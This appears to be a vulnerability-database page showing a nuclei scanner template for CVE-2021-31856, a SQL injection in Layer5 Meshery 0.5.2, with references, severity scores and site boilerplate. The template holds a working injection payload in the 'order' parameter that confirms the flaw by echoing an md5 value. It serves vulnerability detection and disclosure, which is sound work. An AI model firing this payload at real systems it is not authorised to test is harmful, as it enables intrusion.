Lucene search
K

Layer5 Meshery 0.5.2 - SQL Injection

🗓️ 03 Jun 2026 06:04:49Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 46 Views

Layer5 Meshery 0.5.2 SQL Injection vulnerability via /experimental/patternfiles endpoin

Related
Refs
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for SQL Injection in Layer5 Meshery
5 May 202107:18
githubexploit
Circl
CVE-2021-31856
27 Apr 202309:58
circl
CNNVD
meshery SQL注入漏洞
28 Apr 202100:00
cnnvd
CVE
CVE-2021-31856
28 Apr 202105:14
cve
Cvelist
CVE-2021-31856
28 Apr 202105:14
cvelist
NVD
CVE-2021-31856
28 Apr 202106:15
nvd
Prion
Sql injection
28 Apr 202106:15
prion
RedhatCVE
CVE-2021-31856
9 Jan 202611:22
redhatcve
id: CVE-2021-31856

info:
  name: Layer5 Meshery 0.5.2 - SQL Injection
  author: princechaddha
  severity: critical
  description: Layer5 Meshery 0.5.2 contains a SQL injection vulnerability in the REST API that allows an attacker to execute arbitrary SQL commands via the /experimental/patternfiles endpoint (order parameter in GetMesheryPatterns in models/meshery_pattern_persister.go).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to a patched version of Layer5 Meshery or apply the necessary security patches to mitigate the SQL Injection vulnerability (CVE-2021-31856).
  reference:
    - https://github.com/ssst0n3/CVE-2021-31856
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31856
    - https://meshery.io
    - https://github.com/layer5io/meshery/pull/2745
    - https://github.com/ssst0n3/my_vulnerabilities
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-31856
    cwe-id: CWE-89
    epss-score: 0.78967
    epss-percentile: 0.9908
    cpe: cpe:2.3:a:layer5:meshery:0.5.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: layer5
    product: meshery
  tags: cve2021,cve,sqli,layer5,vuln
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/experimental/patternfile?order=id%3Bselect(md5({{num}}))&page=0&page_size=0"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'

      - type: status
        status:
          - 200
# digest: 490a0046304402205fc8c02d1a79f50565b910c36fa5b780ce3352e3c3b964d2558f8395d76c97f9022025cdb5fd0b335f57a09a43ff5b3cc49d91c1fb7dc4ecff66819635e99b1057fc:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.6High risk
Vulners AI Score7.6
CVSS 27.5
CVSS 3.19.8
EPSS0.78967
46